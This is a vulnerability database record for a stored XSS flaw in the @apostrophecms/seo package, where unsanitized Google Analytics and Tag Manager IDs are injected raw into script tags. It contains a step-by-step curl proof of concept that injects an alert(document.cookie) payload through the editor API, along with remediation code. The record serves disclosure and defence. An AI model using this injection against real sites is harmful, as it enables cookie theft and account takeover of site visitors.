{"id":"CVE-2026-53608","aliases":["CVE-2026-53608","GHSA-wf43-fpp3-cf65"],"related":[],"kind":"vulnerability","state":"published","title":"@apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag","summary":"ApostropheCMS is an open-source Node.js content management system. Versions up to and including 1.4.2 of the `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. As of time of publication, no known patched versions are available.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"ApostropheCMS is an open-source Node.js content management system. Versions up to and including 1.4.2 of the `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. As of time of publication, no known patched versions are available.","source":"cvelist"},{"lang":"en","text":"<img width=\"1919\" height=\"1046\" alt=\"curl\" src=\"https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6\" />\n<img width=\"1919\" height=\"775\" alt=\"xss\" src=\"https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d\" />\n\n### Summary\n\nThe `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation.\n\nAny user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site.\n\n### Details\n\nThe vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`.\n\n**Google Analytics (lines 218–224):**\n\n```javascript\n// seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation\nbody: [ {\n  raw: `\n  window.dataLayer = window.dataLayer || [];\n  function gtag(){dataLayer.push(arguments);}\n  gtag('js', new Date());\n  gtag('config', '${global.seoGoogleTrackingId}');\n`\n} ]\n```\n\n**Google Tag Manager (lines 358–362):**\n\n```javascript\nbody: [ {\n  raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');`\n} ]\n```\n\nThese nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177):\n\n```javascript\nif (node.raw != null) {\n  return node.raw;  // returned verbatim, no escaping\n}\n```\n\nThe fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352.\n\nApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue.\n\n### PoC\n\n**Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account.\n\n#### Step 1 — Login as editor\n\n```bash\ncurl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"editor\",\"password\":\"password\"}'\n```\n\nResponse:\n\n```json\n{\"token\":\"YOUR_TOKEN\"}\n```\n\n#### Step 2 — Get the global document ID\n\n```bash\ncurl -s -H \"Authorization: Bearer YOUR_TOKEN\" \\\n  http://TARGET/api/v1/@apostrophecms/global\n```\n\nNote the `_id` value ending in `:en:draft`.\n\n#### Step 3 — Inject payload into Google Analytics ID\n\n```bash\ncurl -s -X PATCH \"http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID\" \\\n  -H 'Content-Type: application/json' \\\n  -H \"Authorization: Bearer YOUR_TOKEN\" \\\n  -d '{\"seoGoogleTrackingId\":\"G-FAKE'\"'\"'); alert(document.cookie); //\"}'\n```\n\n#### Step 4 — Publish\n\n```bash\ncurl -s -X POST \"http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish\" \\\n  -H \"Authorization: Bearer YOUR_TOKEN\"\n```\n\n#### Step 5 — Visit any page\n\nThe injected payload appears in `<head>` and executes:\n\n```html\n<script>\n  gtag('config', 'G-FAKE'); alert(document.cookie); //');\n</script>\n```\n\n### Impact\n\nThis is a Stored Cross-Site Scripting (XSS) vulnerability.\n\nAny user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site.\n\nImpact includes:\n\n- Session token theft of all visitors, including other editors and administrators\n- Full account takeover via stolen administrator cookies\n- Malware distribution, phishing overlays, or credential harvesting targeting site visitors\n- Persistent compromise, as the payload remains active until manually removed\n\n### Remediation\n\nValidate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies.\n\n```javascript\n// Validate format before accepting\nif (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) {\n  throw new Error('Invalid tracking ID format');\n}\n```\n\n```javascript\n// Use safeJsonForScript instead of raw template literals\nbody: [ { json: global.seoGoogleTrackingId } ]\n```\n\nOr:\n\n```javascript\n// Escape the value before insertion\nraw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});`\n```\n<img width=\"1919\" height=\"775\" alt=\"xss\" src=\"https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8\" />","format":"markdown","source":"ghsa"},{"lang":"es","text":"ApostropheCMS es un sistema de gestión de contenido de código abierto basado en Node.js. Las versiones hasta la 1.4.2 inclusive del paquete ’@apostrophecms/seo’ inyectan el ID de seguimiento de Google Analytics (’seoGoogleTrackingId’) y el ID de Google Tag Manager (’seoGoogleTagManager’) directamente en los cuerpos de las etiquetas ’[script_tag]’ utilizando literales de plantilla de JavaScript sin ninguna sanitización o validación. Cualquier usuario con acceso de nivel de editor (el rol predeterminado para los gestores de contenido) puede establecer estos campos a un valor malicioso, lo que resulta en XSS almacenado que se ejecuta en cada página para cada visitante del sitio. En el momento de la publicación, no hay versiones parcheadas conocidas disponibles.","source":"nvd"}],"published":"2026-06-12T20:57:48.913Z","modified":"2026-10-25T23:10:00.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"<= 1.4.2","status":"affected"}],"vendor":"apostrophecms","product":"@apostrophecms/seo","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.5.0"}],"ecosystem":"npm","package":"@apostrophecms/seo","purl":"pkg:npm/%40apostrophecms/seo","source":"ghsa"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53608","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/apostrophecms/apostrophe/pull/5464","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-06-15T17:49:32.431Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-53608","url":"https://www.cve.org/CVERecord?id=CVE-2026-53608","licence":"CVE Terms of Use","modified":"2026-06-15T17:49:39.197Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-wf43-fpp3-cf65","url":"https://github.com/advisories/GHSA-wf43-fpp3-cf65","licence":"CC-BY-4.0","modified":"2026-07-31T22:00:21.598Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-53608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53608","licence":"Public domain","modified":"2026-10-25T23:10:00.167Z"}],"updatedAt":"2026-11-25T22:59:24.594Z","epss":{"score":0.00353,"percentile":0.21351,"date":"2026-11-30T12:00:22.000Z"}}